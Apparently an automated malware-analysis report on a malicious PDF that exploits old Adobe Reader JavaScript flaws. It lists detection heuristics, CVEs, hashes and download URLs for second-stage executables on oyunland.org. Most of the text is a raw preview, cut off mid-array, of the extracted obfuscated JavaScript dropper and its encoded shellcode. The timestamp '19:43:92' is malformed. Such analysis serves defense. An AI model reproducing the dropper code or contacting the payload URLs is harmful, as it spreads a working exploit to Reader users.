PDF malware analysis — malicious · 8cf4f3c02fa47a2b

MALICIOUS

PDF

76.3 KB Created: 2009-12-29 19:43:92 Authoring application: PDF Library 6.3.9 (via PDF Library 6.6.8) First seen: 2012-07-12

MD5: 54f29887e890f81ce5a1fa506047bd3d SHA-1: a434594c5c7a0c6527c147e6df2201edf49d707a SHA-256: 8cf4f3c02fa47a2b2e91a873fcc3035d7b98122ab4d4b9a5b8323a5a26ed2352

590 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

The PDF exploits multiple known Adobe Reader vulnerabilities, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992, through embedded and obfuscated JavaScript. Static analysis indicates this JavaScript is designed to download and execute a second-stage payload, as evidenced by the 'legacy_pdfkit_stage_000.js' artifact. The critical heuristic firings and ClamAV detection strongly support this assessment.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://oyunland.org/fragus/dhlprt2.exe Referenced by PDF JavaScript
- http://oyunland.org/fragus/click.php?r=Referenced by PDF JavaScript
- http://oyunland.org/fragus/iopqst2.exeReferenced by PDF JavaScript
- http://oyunland.org/fragus/glpuv2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38542 bytes
SHA-256: `e00a3b30de376db5af06875fe936f4c5c4641146f03da6770f96171e569dd7b0`
Preview script First 1,000 lines of the extracted script var cgjpy="cgjpy";acfmp=false;dzpb="";zwrih="zwrih";cfijlv="";bcesv=true;gijlq=false;var flntu=false,fhnoy="fhnoy",cgkt="",hlpv='',aegu="",ajopuw=0,mquy=String,agry=mquy['fLrioimiCihiapriCyoydLep'.replace(/[pLyOi]/g,'')],bcfov=String,biquv=bcfov['eTvQaTlT'.replace(/[TgcQm]/g,'')],cgjpx="96",adkntx="",apytzx=[70,64,66,156,174,164,156,170,162,165,167,86,159,159,177,149,162,170,97,175,154,168,172,166,101,86,165,155,167,95,180,67,67,63,66,173,161,159,165,155,89,94,178,151,171,169,169,100,165,155,167,157,173,158,89,96,89,104,89,114,89,162,158,164,98,177,70,64,66,63,66,175,154,168,172,166,89,97,118,86,178,151,171,169,169,113,70,64,66,63,182,67,67,63,66,175,154,168,172,166,89,115,89,175,154,168,172,166,103,169,174,152,172,170,171,159,167,157,97,102,101,86,165,155,167,101,107,95,116,67,67,63,66,168,158,170,174,168,167,86,178,151,171,169,169,113,70,64,66,179,70,64,70,64,66,156,174,164,156,170,162,165,167,86,174,170,162,162,152,166,171,159,167,170,159,94,98,177,70,64,66,63,175,151,171,86,169,151,178,162,168,151,157,86,118,86,174,164,158,169,156,151,169,155,97,88,94,171,126,120,126,111,94,171,105,102,105,103,94,171,110,108,105,102,94,171,122,103,111,106,94,171,105,102,108,102,94,171,105,102,105,102,94,171,109,102,113,120,94,171,113,120,105,121,94,171,106,121,112,102,94,171,113,120,122,122,94,171,105,110,109,102,94,171,124,105,110,123,94,171,113,120,110,107,94,171,113,120,126,121,94,171,105,110,109,107,94,171,108,105,110,104,94,171,124,103,125,104,94,171,105,105,124,104,94,171,106,102,108,104,94,171,113,102,109,102,94,171,105,102,108,110,94,171,127,107,112,107,94,171,124,104,113,120,94,171,110,122,110,119,94,171,105,106,124,104,94,171,110,107,105,102,94,171,126,121,113,120,94,171,110,103,110,103,94,171,110,108,110,105,94,171,111,102,110,109,94,171,110,122,113,120,94,171,108,105,105,110,94,171,113,120,124,102,94,171,105,121,112,107,94,171,127,123,113,120,94,171,112,108,105,105,94,171,113,120,108,121,94,171,112,110,109,123,94,171,124,124,105,105,94,171,110,103,113,120,94,171,110,104,106,121,94,171,110,103,113,120,94,171,110,104,107,106,94,171,112,103,113,120,94,171,109,123,106,106,94,171,112,107,113,111,94,171,113,120,127,121,94,171,107,102,112,103,94,171,127,109,105,105,94,171,109,119,114,111,94,171,109,104,122,122,94,171,108,120,111,102,94,171,127,121,110,107,94,171,105,106,112,107,94,171,124,102,108,105,94,171,108,109,126,120,94,171,127,124,108,105,94,171,109,107,105,105,94,171,114,109,105,121,94,171,124,124,113,120,94,171,112,107,122,123,94,171,107,120,127,122,94,171,109,124,127,111,94,171,126,110,110,103,94,171,127,124,114,106,94,171,127,124,127,124,94,171,124,105,108,120,94,171,112,106,111,103,94,171,126,120,105,104,94,171,113,120,125,111,94,171,105,121,109,107,94,171,110,123,114,104,94,171,127,104,105,105,94,171,126,102,125,103,94,171,124,108,105,105,94,171,124,111,108,105,94,171,123,109,105,124,94,171,110,124,105,110,94,171,126,103,124,103,94,171,105,105,105,104,94,171,105,105,124,119,94,171,113,120,124,124,94,171,105,105,105,103,94,171,113,111,124,104,94,171,127,110,109,107,94,171,113,120,111,103,94,171,127,110,109,107,94,171,110,123,110,124,94,171,124,111,110,120,94,171,110,107,124,105,94,171,126,121,113,120,94,171,126,110,110,103,94,171,127,124,109,111,94,171,127,124,127,124,94,171,111,110,110,102,94,171,111,102,126,110,94,171,105,106,123,124,94,171,111,121,126,110,94,171,127,124,127,124,94,171,108,105,127,124,94,171,110,104,125,104,94,171,127,124,110,104,94,171,105,110,112,107,94,171,125,102,127,124,94,171,109,107,113,111,94,171,113,120,127,121,94,171,127,121,109,107,94,171,124,105,124,111,94,171,113,120,110,107,94,171,113,105,126,121,94,171,105,121,126,121,94,171,109,107,113,122,94,171,110,102,127,106,94,171,109,107,124,108,94,171,112,107,127,106,94,171,109,107,124,108,94,171,112,104,127,107,94,171,109,107,124,108,94,171,111,121,127,108,94,171,109,107,124,108,94,171,111,122,127,109,94,171,109,107,124,108,94,171,111,124,127,110,94,171,109,107,124,108,94,171,111,123,127,111,94,171,109,107,124,108,94,171,107,123,127,119,94,171,109,107,124,108,94,171,111,106,127,120,94,171,109,107,124,108,94,171,111,121,127,121,94,171,109,107,124,108,94,171,111,121,127,122,94,171,109,107,124,108,94,171,105,102,127,123,94,171,122,102,126,110,94,171,127,124,127,124,94,171,110,102,127,124,94,171,110,122,111,110,94,171,106,103,113,119,94,171,126,110,106,108,94,171,127,124,106,107,94,171,127,124,127,124,94,171,124,106,113,105,94,171,113,107,105,121,94,171,112,106,124,102,94,171,111,119,106,107,94,171,111,119,105,102,94,171,127,124,105,102,94,171,105,121,112,107,94,171,112,107,127,124,94,171,111,119,105,110,94,171,127,124,105,102,94,171,113,107,125,102,94,171,112,107,124,102,94,171,109,102,105,105,94,171,124,105,124,111,94,171,124,102,108,105,94,171,124,105,124,111,94,171,108,105,110,109,94,171,113,120,124,102,94,171,107,106,109,121,94,171,113,120,105,121,94,171,107,106,112,121,94,171,127,121,105,110,94,171,122,119,127,105,94,171,124,105,110,124,94,171,109,121,113,120,94,171,105,106,107,106,94,171,108,111,113,102,94,171,113,120,105,102,94,171,112,106,124,103,94,171,109,102,105,108,94,171,108,110,113,102,94,171,112,107,105,102,94,171,107,120,127,119,94,171,124,105,124,103,94,171,113,120,110,107,94,171,113,105,126,121,94,171,111,106,126,121,94,171,113,122,110,105,94,171,127,102,109,107,94,171,108,105,110,109,94,171,110,102,125,120,94,171,109,107,124,108,94,171,111,120,127,102,94,171,109,107,124,108,94,171,111,107,127,103,94,171,109,107,124,108,94,171,112,104,127,104,94,171,109,107,124,108,94,171,111,123,127,105,94,171,109,107,124,108,94,171,111,107,127,106,94,171,109,107,124,108,94,171,111,121,127,107,94,171,109,107,124,108,94,171,108,105,127,108,94,171,109,107,124,108,94,171,108,104,127,109,94,171,109,107,124,108,94,171,107,123,127,110,94,171,109,107,124,108,94,171,111,106,127,111,94,171,109,107,124,108,94,171,111,121,127,119,94,171,109,107,124,108,94,171,111,121,127,120,94,171,110,122,113,110,94,171,126,110,127,121,94,171,127,124,105,120,94,171,127,124,127,124,94,171,111,110,110,102,94,171,109,105,111,110,94,171,113,123,127,111,94,171,113,102,126,110,94,171,127,124,127,123,94,171,113,120,127,124,94,171,113,122,127,110,94,171,114,121,109,107,94,171,109,106,111,119,94,171,126,110,110,102,94,171,127,124,112,123,94,171,127,124,127,124,94,171,109,107,113,122,94,171,111,119,126,102,94,171,110,102,106,102,94,171,112,105,126,110,94,171,127,124,127,124,94,171,113,105,127,124,94,171,106,121,124,106,94,171,109,107,113,122,94,171,110,102,126,102,94,171,109,107,113,122,94,171,110,102,114,121,94,171,110,105,110,105,94,171,110,105,110,105,94,171,110,105,110,105,94,171,112,107,127,124,94,171,124,109,105,110,94,171,114,121,109,107,94,171,105,102,109,106,94,171,105,102,105,102,94,171,127,124,110,105,94,171,110,124,125,109,94,171,123,108,105,124,94,171,110,120,124,102,94,171,124,105,124,111,94,171,113,120,110,107,94,171,110,103,126,121,94,171,110,105,110,103,94,171,110,109,110,108,94,171,109,104,111,119,94,171,112,104,126,110,94,171,105,102,105,102,94,171,113,120,105,102,94,171,108,105,125,110,94,171,113,107,127,108,94,171,110,111,125,120,94,171,109,107,124,109,94,171,111,103,127,110,94,171,111,107,107,123,94,171,124,109,112,110,94,171,127,121,109,107,94,171,105,102,111,107,94,171,105,102,105,102,94,171,110,108,112,123,94,171,109,107,113,122,94,171,110,102,127,110,94,171,126,110,110,108,94,171,105,102,110,103,94,171,105,102,105,102,94,171,110,102,110,111,94,171,123,103,126,110,94,171,127,124,127,123,94,171,113,107,127,124,94,171,110,111,124,102,94,171,112,106,110,111,94,171,113,122,108,111,94,171,105,103,109,108,94,171,126,110,110,102,94,171,105,102,108,120,94,171,105,102,105,102,94,171,127,110,113,120,94,171,109,107,113,122,94,171,110,102,127,110,94,171,107,103,126,110,94,171,127,124,127,124,94,171,113,107,127,124,94,171,110,111,124,102,94,171,112,106,110,111,94,171,110,109,105,121,94,171,105,103,126,110,94,171,127,124,127,124,94,171,110,111,127,124,94,171,109,106,124,108,94,171,127,124,108,110,94,171,110,102,112,105,94,171,109,107,113,122,94,171,127,123,127,110,94,171,110,110,105,102,94,171,109,107,113,122,94,171,110,102,127,110,94,171,126,110,110,109,94,171,127,123,112,106,94,171,127,124,127,124,94,171,110,111,110,111,94,171,109,108,109,108,94,171,127,105,108,120,94,171,122,119,112,121,94,171,110,123,110,124,94,171,124,111,110,120,94,171,110,107,124,105,94,171,126,121,113,120,94,171,110,105,110,103,94,171,111,102,111,108,94,171,108,104,123,103,94,171,105,102,126,110,94,171,105,102,105,102,94,171,110,110,105,102,94,171,105,110,108,110,94,171,105,105,112,106,94,171,126,120,109,102,94,171,109,102,127,111,94,171,110,122,113,120,94,171,113,102,105,110,94,171,109,104,127,120,94,171,105,110,112,107,94,171,125,120,108,105,94,171,106,110,113,119,94,171,124,105,113,120,94,171,106,109,126,120,94,171,106,110,108,110,94,171,106,103,112,108,94,171,108,105,109,102,94,171,113,106,124,111,94,171,112,106,125,120,94,171,109,102,105,121,94,171,105,110,108,110,94,171,127,120,112,107,94,171,127,123,109,102,94,171,126,120,124,120,94,171,108,105,127,104,94,171,113,111,124,102,94,171,127,121,109,107,94,171,109,107,113,120,94,171,110,120,127,121,94,171,124,105,124,111,94,171,105,104,108,104,94,171,112,106,111,110,94,171,112,102,112,106,94,171,107,124,108,119,94,171,111,124,107,124,94,171,112,107,112,111,94,171,111,121,111,123,94,171,111,123,111,103,94,171,107,123,111,106,94,171,112,104,111,124,94,171,107,124,111,109,94,171,112,104,111,108,94,171,111,109,111,103,94,171,112,105,112,107,94,171,111,106,107,124,94,171,111,121,111,110,94,171,112,104,112,102,94,171,108,104,112,106,94,171,111,107,107,123,94,171,111,107,112,110,94,171,111,110,105,102,94,171,112,106,112,106,94,171,108,119,112,102,94,171,107,124,107,124,94,171,112,111,111,124,94,171,111,123,112,107,94,171,111,103,111,121,94,171,111,106,111,123,94,171,111,124,107,123,94,171,111,109,112,104,94,171,111,108,107,124,94,171,111,103,112,104,94,171,112,107,111,109,94,171,107,124,112,105,94,171,111,121,111,105,94,171,111,105,111,111,94,171,107,123,111,120,94,171,111,110,112,102,94,171,108,124,112,102,94,171,108,122,112,104,94,171,105,102,105,102,91,95,116,67,67,63,66,172,154,168,89,164,168,166,89,115,89,171,167,155,172,153,154,166,158,94,91,91,174,102,122,102,122,91,174,102,122,102,122,91,174,102,122,102,122,91,174,102,122,102,122,88,98,67,67,63,66,172,154,168,89,158,158,151,169,152,165,165,156,161,89,115,89,164,168,166,89,97,89,166,154,175,165,165,154,154,116,67,67,63,66,172,154,168,89,152,162,157,155,162,168,153,164,86,118,86,174,164,158,169,156,151,169,155,97,88,94,171,105,119,105,119,94,171,105,119,105,119,91,95,116,67,67,63,66,172,154,168,89,158,158,151,157,155,171,169,162,176,158,86,118,86,107,102,116,67,67,63,66,172,154,168,89,169,169,168,154,175,89,115,89,158,158,151,157,155,171,169,162,176,158,86,100,86,161,155,154,166,155,162,168,153,164,100,165,155,167,157,173,158,116,67,67,63,66,173,161,159,165,155,89,94,155,159,160,152,165,165,156,161,103,162,158,164,160,170,161,86,117,86,172,166,171,151,178,95,180,67,67,63,66,63,155,159,160,152,165,165,156,161,89,97,118,86,155,159,160,152,165,165,156,161,116,67,67,63,66,179,70,64,66,63,175,151,171,86,159,159,165,162,155,162,168,153,164,86,118,86,155,159,160,152,165,165,156,161,103,169,174,152,172,170,171,159,167,157,97,102,101,86,172,166,171,151,178,95,116,67,67,63,66,172,154,168,89,152,165,165,156,161,89,115,89,152,162,157,155,162,168,153,164,100,172,171,155,169,173,168,162,164,160,94,105,98,89,152,162,157,155,162,168,153,164,100,165,155,167,157,173,158,102,169,169,168,154,175,98,113,70,64,66,63,176,158,162,162,158,86,97,152,165,165,156,161,103,162,158,164,160,170,161,97,172,166,171,151,178,86,117,86,105,174,109,102,105,102,105,95,180,67,67,63,66,63,155,162,168,153,164,86,118,86,155,162,168,153,164,86,100,86,155,162,168,153,164,86,100,86,159,159,165,162,155,162,168,153,164,113,70,64,66,63,182,67,67,63,66,172,154,168,89,163,158,163,152,151,171,168,154,175,89,115,89,164,158,173,89,119,171,168,154,175,97,95,116,67,67,63,66,156,168,168,89,94,175,151,171,86,162,86,118,86,105,113,89,159,89,114,89,103,109,102,105,113,89,159,100,97,98,177,70,64,66,63,66,163,158,163,152,151,171,168,154,175,148,159,150,86,118,86,155,162,168,153,164,86,100,86,161,155,154,166,155,162,168,153,164,113,70,64,66,63,182,67,67,63,66,172,154,168,89,164,174,163,89,115,89,103,107,111,114,111,114,111,114,111,114,111,114,111,114,111,114,111,114,111,114,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,110,113,113,70,64,66,63,174,170,162,162,103,166,171,159,167,170,159,94,91,91,109,107,105,102,105,156,91,98,89,164,174,163,98,113,70,64,66,179,70,64,70,64,66,156,174,164,156,170,162,165,167,86,156,165,165,162,154,152,152,155,166,151,162,162,97,95,180,67,67,63,66,172,154,168,89,169,161,155,165,162,156,165,157,155,89,115,89,171,167,155,172,153,154,166,158,94,91,91,174,123,123,123,114,91,174,102,105,102,106,91,174,107,111,102,105,91,174,119,106,108,109,91,174,102,105,105,105,91,174,102,105,102,105,91,174,106,105,110,123,91,174,110,123,102,124,91,174,103,124,109,105,91,174,110,123,119,125,91,174,102,113,106,105,91,174,121,108,107,126,91,174,110,123,107,110,91,174,110,123,123,124,91,174,102,113,106,110,91,174,105,108,107,107,91,174,121,106,122,107,91,174,102,108,121,107,91,174,103,105,105,107,91,174,110,105,106,105,91,174,102,105,105,113,91,174,124,110,109,110,91,174,121,107,110,123,91,174,107,125,107,122,91,174,102,109,121,107,91,174,107,110,102,105,91,174,123,124,110,123,91,174,107,106,107,106,91,174,107,111,107,108,91,174,108,105,107,112,91,174,107,125,110,123,91,174,105,108,102,113,91,174,110,123,121,105,91,174,102,124,109,110,91,174,124,126,110,123,91,174,109,111,102,108,91,174,110,123,105,124,91,174,109,113,106,126,91,174,121,127,102,108,91,174,107,106,110,123,91,174,107,107,103,124,91,174,107,106,110,123,91,174,107,107,104,109,91,174,109,106,110,123,91,174,106,126,103,109,91,174,109,110,110,114,91,174,110,123,124,124,91,174,104,105,109,106,91,174,124,112,102,108,91,174,106,122,111,114,91,174,106,107,119,125,91,174,105,123,108,105,91,174,124,124,107,110,91,174,102,109,109,110,91,174,121,105,105,108,91,174,105,112,123,123,91,174,124,127,105,108,91,174,106,110,102,108,91,174,111,112,102,124,91,174,121,127,110,123,91,174,109,110,119,126,91,174,104,123,124,125,91,174,106,127,124,114,91,174,123,113,107,106,91,174,124,127,111,109,91,174,124,127,124,127,91,174,121,108,105,123,91,174,109,109,108,106,91,174,123,123,102,107,91,174,110,123,122,114,91,174,102,124,106,110,91,174,107,126,111,107,91,174,124,107,102,108,91,174,123,105,122,106,91,174,121,111,102,108,91,174,121,114,105,108,91,174,120,112,102,127,91,174,107,127,102,113,91,174,123,106,121,106,91,174,102,108,102,107,91,174,102,108,121,122,91,174,110,123,121,127,91,174,102,108,102,106,91,174,110,114,121,107,91,174,124,113,106,110,91,174,110,123,108,106,91,174,124,113,106,110,91,174,107,126,107,127,91,174,121,114,107,123,91,174,107,110,121,108,91,174,123,124,110,123,91,174,123,113,107,106,91,174,124,127,106,114,91,174,124,127,124,127,91,174,108,113,107,105,91,174,108,105,123,113,91,174,102,109,120,127,91,174,108,124,123,113,91,174,124,127,124,127,91,174,105,108,124,127,91,174,107,107,122,107,91,174,124,127,107,107,91,174,102,113,109,110,91,174,122,105,124,127,91,174,106,110,110,114,91,174,110,123,124,124,91,174,124,124,106,110,91,174,121,108,121,114,91,174,110,123,107,110,91,174,110,108,123,124,91,174,102,124,123,124,91,174,106,110,110,125,91,174,107,105,124,109,91,174,106,110,121,111,91,174,109,110,124,109,91,174,106,110,121,111,91,174,109,107,124,110,91,174,106,110,121,111,91,174,108,124,124,111,91,174,106,110,121,111,91,174,108,125,124,112,91,174,106,110,121,111,91,174,108,127,124,113,91,174,106,110,121,111,91,174,108,126,124,114,91,174,106,110,121,111,91,174,104,126,124,122,91,174,106,110,121,111,91,174,108,109,124,123,91,174,106,110,121,111,91,174,108,124,124,124,91,174,106,110,121,111,91,174,108,124,124,125,91,174,106,110,121,111,91,174,102,105,124,126,91,174,119,105,123,113,91,174,124,127,124,127,91,174,107,105,124,127,91,174,107,125,108,113,91,174,103,106,110,122,91,174,123,113,103,111,91,174,124,127,103,110,91,174,124,127,124,127,91,174,121,109,110,108,91,174,110,110,102,124,91,174,109,109,121,105,91,174,108,122,103,110,91,174,108,122,102,105,91,174,124,127,102,105,91,174,102,124,109,110,91,174,109,110,124,127,91,174,108,122,102,113,91,174,124,127,102,105,91,174,110,110,122,105,91,174,109,110,121,105,91,174,106,105,102,108,91,174,121,108,121,114,91,174,121,105,105,108,91,174,121,108,121,114,91,174,105,108,107,112,91,174,110,123,121,105,91,174,104,109,106,124,91,174,110,123,102,124,91,174,104,109,109,124,91,174,124,124,102,113,91,174,119,122,124,108,91,174,121,108,107,127,91,174,106,124,110,123,91,174,102,109,104,109,91,174,105,114,110,105,91,174,110,123,102,105,91,174,109,109,121,106,91,174,106,105,102,111,91,174,105,113,110,105,91,174,109,110,102,105,91,174,104,123,124,122,91,174,121,108,121,106,91,174,110,123,107,110,91,174,110,108,123,124,91,174,108,109,123,124,91,174,110,125,107,108,91,174,124,105,106,110,91,174,105,108,107,112,91,174,107,105,122,123,91,174,106,110,121,111,91,174,108,123,124,105,91,174,106,110,121,111,91,174,108,110,124,106,91,174,106,110,121,111,91,174,109,107,124,107,91,174,106,110,121,111,91,174,108,126,124,108,91,174,106,110,121,111,91,174,108,110,124,109,91,174,106,110,121,111,91,174,108,124,124,110,91,174,106,110,121,111,91,174,105,108,124,111,91,174,106,110,121,111,91,174,105,107,124,112,91,174,106,110,121,111,91,174,104,126,124,113,91,174,106,110,121,111,91,174,108,109,124,114,91,174,106,110,121,111,91,174,108,124,124,122,91,174,106,110,121,111,91,174,108,124,124,123,91,174,107,125,110,113,91,174,123,113,124,124,91,174,124,127,102,123,91,174,124,127,124,127,91,174,108,113,107,105,91,174,106,108,108,113,91,174,110,126,124,114,91,174,110,105,123,113,91,174,124,127,124,126,91,174,110,123,124,127,91,174,110,125,124,113,91,174,111,124,106,110,91,174,106,109,108,122,91,174,123,113,107,105,91,174,124,127,109,126,91,174,124,127,124,127,91,174,106,110,110,125,91,174,108,122,123,105,91,174,107,105,103,105,91,174,109,108,123,113,91,174,124,127,124,127,91,174,110,108,124,127,91,174,103,124,121,109,91,174,106,110,110,125,91,174,107,105,123,105,91,174,106,110,110,125,91,174,107,105,111,124,91,174,107,108,107,108,91,174,107,108,107,108,91,174,107,108,107,108,91,174,109,110,124,127,91,174,121,112,102,113,91,174,111,124,106,110,91,174,102,105,106,109,91,174,102,105,102,105,91,174,124,127,107,108,91,174,107,127,122,112,91,174,120,111,102,127,91,174,107,123,121,105,91,174,121,108,121,114,91,174,110,123,107,110,91,174,107,106,123,124,91,174,107,108,107,106,91,174,107,112,107,111,91,174,106,107,108,122,91,174,109,107,123,113,91,174,102,105,102,105,91,174,110,123,102,105,91,174,105,108,122,113,91,174,110,110,124,111,91,174,107,114,122,123,91,174,106,110,121,112,91,174,108,106,124,113,91,174,108,110,104,126,91,174,121,112,109,113,91,174,124,124,106,110,91,174,102,105,108,110,91,174,102,105,102,105,91,174,107,111,109,126,91,174,106,110,110,125,91,174,107,105,124,113,91,174,123,113,107,111,91,174,102,105,107,106,91,174,102,105,102,105,91,174,107,105,107,114,91,174,120,106,123,113,91,174,124,127,124,126,91,174,110,110,124,127,91,174,107,114,121,105,91,174,109,109,107,114,91,174,110,125,105,114,91,174,102,106,106,111,91,174,123,113,107,105,91,174,102,105,105,123,91,174,102,105,102,105,91,174,124,113,110,123,91,174,106,110,110,125,91,174,107,105,124,113,91,174,104,106,123,113,91,174,124,127,124,127,91,174,110,110,124,127,91,174,107,114,121,105,91,174,109,109,107,114,91,174,107,112,102,124,91,174,102,106,123,113,91,174,124,127,124,127,91,174,107,114,124,127,91,174,106,109,121,111,91,174,124,127,105,113,91,174,107,105,109,108,91,174,106,110,110,125,91,174,124,126,124,113,91,174,107,113,102,105,91,174,106,110,110,125,91,174,107,105,124,113,91,174,123,113,107,112,91,174,124,126,109,109,91,174,124,127,124,127,91,174,107,114,107,114,91,174,106,111,106,111,91,174,124,108,105,123,91,174,119,122,109,124,91,174,107,126,107,127,91,174,121,114,107,123,91,174,107,110,121,108,91,174,123,124,110,123,91,174,107,108,107,106,91,174,108,105,108,111,91,174,105,107,120,106,91,174,102,105,123,113,91,174,102,105,102,105,91,174,107,113,102,105,91,174,102,113,105,113,91,174,102,108,109,109,91,174,123,123,106,105,91,174,106,105,124,114,91,174,107,125,110,123,91,174,110,105,102,113,91,174,106,107,124,123,91,174,102,113,109,110,91,174,122,123,105,108,91,174,103,113,110,122,91,174,121,108,110,123,91,174,103,112,123,123,91,174,103,113,105,113,91,174,103,106,109,111,91,174,105,108,106,105,91,174,110,109,121,114,91,174,109,109,122,123,91,174,106,105,102,124,91,174,102,113,105,113,91,174,124,123,109,110,91,174,124,126,106,105,91,174,123,123,121,123,91,174,105,108,124,107,91,174,110,114,121,105,91,174,124,124,106,110,91,174,106,110,110,123,91,174,107,123,124,124,91,174,121,108,121,114,91,174,102,107,105,107,91,174,109,109,108,113,91,174,109,105,109,109,91,174,104,127,105,122,91,174,108,127,104,127,91,174,109,110,109,114,91,174,108,124,108,126,91,174,108,126,108,106,91,174,104,126,108,109,91,174,109,107,108,127,91,174,104,127,108,112,91,174,109,107,108,111,91,174,108,112,108,106,91,174,109,108,109,110,91,174,108,114,104,127,91,174,109,105,108,127,91,174,109,108,109,106,91,174,105,107,109,109,91,174,108,110,104,126,91,174,108,110,109,113,91,174,108,113,102,105,91,174,109,109,109,109,91,174,105,122,109,105,91,174,104,127,104,127,91,174,109,114,108,127,91,174,108,126,109,110,91,174,108,106,108,124,91,174,108,109,108,126,91,174,108,127,104,126,91,174,108,112,109,107,91,174,108,111,104,127,91,174,108,106,109,107,91,174,109,110,108,112,91,174,104,127,109,108,91,174,108,124,108,108,91,174,108,108,108,114,91,174,104,126,108,123,91,174,108,113,109,105,91,174,105,127,109,105,91,174,105,125,109,107,91,174,102,105,102,105,88,98,113,70,64,66,63,175,151,171,86,166,155,166,149,154,168,171,151,178,86,118,86,167,155,176,86,122,168,171,151,178,94,98,113,70,64,66,63,175,151,171,86,156,153,89,115,89,102,177,102,156,102,156,102,156,102,156,113,70,64,66,63,175,151,171,86,154,154,157,168,89,115,89,102,177,106,105,102,105,102,105,113,70,64,66,63,175,151,171,86,172,153,152,162,158,164,89,115,89,169,161,155,165,162,156,165,157,155,103,162,158,164,160,170,161,86,99,86,107,113,70,64,66,63,175,151,171,86,165,155,167,86,118,86,154,154,157,168,89,99,89,94,172,153,152,162,158,164,100,102,177,105,113,95,116,67,67,63,66,172,154,168,89,175,154,168,172,166,89,115,89,171,167,155,172,153,154,166,158,94,91,91,174,111,105,111,105,91,174,111,105,111,105,88,98,113,70,64,66,63,178,151,171,169,169,86,118,86,159,159,177,149,162,170,97,175,154,168,172,166,101,86,165,155,167,95,116,67,67,63,66,172,154,168,89,153,168,171,167,170,107,86,118,86,97,153,156,86,102,86,105,174,109,102,105,102,105,102,98,101,154,154,157,168,116,67,67,63,66,156,168,168,89,94,175,151,171,86,156,165,174,164,173,86,118,86,105,113,89,153,168,171,167,170,89,114,89,153,168,171,167,170,107,113,89,153,168,171,167,170,100,97,98,177,70,64,66,6